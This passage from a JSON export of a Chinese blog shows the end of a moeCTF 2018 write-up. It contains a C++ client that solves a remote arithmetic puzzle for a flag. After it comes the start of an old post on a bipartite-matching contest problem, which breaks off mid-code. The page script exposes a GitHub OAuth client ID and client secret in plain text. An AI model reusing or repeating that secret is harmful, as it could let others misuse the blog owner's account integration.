buffer);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003erecv\u003c/span\u003e(server, buffer, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(buffer), \u003cspan class=\"number\"\u003e0\u003c/span\u003e) == SOCKET_ERROR) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(server);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;read error\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei = buffer;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e())\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eput\u003c/span\u003e\u003cspan class=\"params\"\u003e(string \u0026amp;m)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;sent:\u0026#34;\u003c/span\u003e \u0026lt;\u0026lt; m \u0026lt;\u0026lt; endl;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003esend\u003c/span\u003e(server, m.\u003cspan class=\"built_in\"\u003ec_str\u003c/span\u003e(), m.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(), \u003cspan class=\"number\"\u003e0\u003c/span\u003e) == SOCKET_ERROR) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(server);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;put error\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWSAData wd;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*assert*/\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eWSAStartup\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eMAKEWORD\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e), \u0026amp;wd));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eserver = \u003cspan class=\"built_in\"\u003esocket\u003c/span\u003e(AF_INET, SOCK_STREAM, IPPROTO_TCP);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSOCKADDR_IN addrServ;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eaddrServ.sin_family = AF_INET;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eaddrServ.sin_port = \u003cspan class=\"built_in\"\u003ehtons\u003c/span\u003e(\u003cspan class=\"number\"\u003e9998\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eaddrServ.sin_addr.S_un.S_addr = \u003cspan class=\"built_in\"\u003einet_addr\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;123.56.218.81\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e ret = \u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(server, (SOCKADDR*)\u0026amp;addrServ, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(SOCKADDR));\u003cspan class=\"comment\"\u003e//开始连接\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (SOCKET_ERROR == ret) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;socket connect failed\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(server);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estring in;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eread\u003c/span\u003e(in)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (in.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;moectf\u0026#34;\u003c/span\u003e)!=\u003cspan class=\"number\"\u003e-1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esystem\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;cls\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026#34;flag found:\u0026#34;\u003c/span\u003e \u0026lt;\u0026lt; in \u0026lt;\u0026lt; endl;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; in;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e fl = in.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(); \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (in[fl] != \u003cspan class=\"string\"\u003e\u0026#39;:\u0026#39;\u003c/span\u003e)fl--;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ein = in.\u003cspan class=\"built_in\"\u003esubstr\u003c/span\u003e(fl, in.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e() - fl);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e arr[\u003cspan class=\"number\"\u003e4\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esscanf\u003c/span\u003e(in.\u003cspan class=\"built_in\"\u003ec_str\u003c/span\u003e(), \u003cspan class=\"string\"\u003e\u0026#34;:%d, %d, %d, %d\u0026#34;\u003c/span\u003e, \u0026amp;arr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], \u0026amp;arr[\u003cspan class=\"number\"\u003e1\u003c/span\u003e], \u0026amp;arr[\u003cspan class=\"number\"\u003e2\u003c/span\u003e], \u0026amp;arr[\u003cspan class=\"number\"\u003e3\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eprev_permutation\u003c/span\u003e(arr, arr + \u003cspan class=\"number\"\u003e4\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003enext_permutation\u003c/span\u003e(arr, arr + \u003cspan class=\"number\"\u003e4\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"built_in\"\u003enext_permutation\u003c/span\u003e(arr, arr + \u003cspan class=\"number\"\u003e4\u003c/span\u003e)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i\u0026lt;\u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j\u0026lt;\u003cspan class=\"number\"\u003e4\u003c/span\u003e; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e k = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; k \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; k++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estring exp = \u003cspan class=\"built_in\"\u003eto_string\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]) + \u003cspan class=\"built_in\"\u003eto_symbol\u003c/span\u003e(i) +\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eto_string\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]) + \u003cspan class=\"built_in\"\u003eto_symbol\u003c/span\u003e(j) +\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eto_string\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e2\u003c/span\u003e]) + \u003cspan class=\"built_in\"\u003eto_symbol\u003c/span\u003e(k) +\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eto_string\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e3\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//cout \u0026lt;\u0026lt; exp;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003ecal\u003c/span\u003e(exp) == \u003cspan class=\"number\"\u003e9\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eput\u003c/span\u003e(exp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e end;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eend:;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(server);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2018/08/26/Security/Writeup/moeCTF2018/"},{"title":"旧的几篇题解","time":"2018-07-31T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e一些高中时候的奇怪题解\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"Freda的城堡\"\u003eFreda的城堡\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e来源: codevs 2490/bzoj3035/gxyz.openjudge.cn11867\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"思路\"\u003e思路\u003c/h3\u003e\u003cp\u003e将每个入侵者与每个防御塔分别抽象成两个点集{invaders},{defences}\u003cbr/\u003e将每个防御塔每次射击与其能够达到的入侵者连边,这样我们就得到了一幅二分图\u003c/p\u003e\u003cul\u003e\u003cli\u003e”每次射击”:\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e拿一个防御塔来说,它每t时会发射一次,总共有T时,那么它可以发射floor(T/t)次,也就是说它可以消灭这么多次个敌人。将每次发射抽象为一个点,连边,如:若有N个防御塔,第i个防御塔第n次发射抽象出的点为(i*n+N)。\u003c/p\u003e\u003cp\u003e问题转化为:\u003cbr/\u003e第$i$次发射记为$d_i$,第$i$个入侵者记为$t_i$,找到集合大小$|{d}|$的最小值。此时${d}$与${t}$最接近二分图的完美匹配\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;cmath\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;iomanip\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan 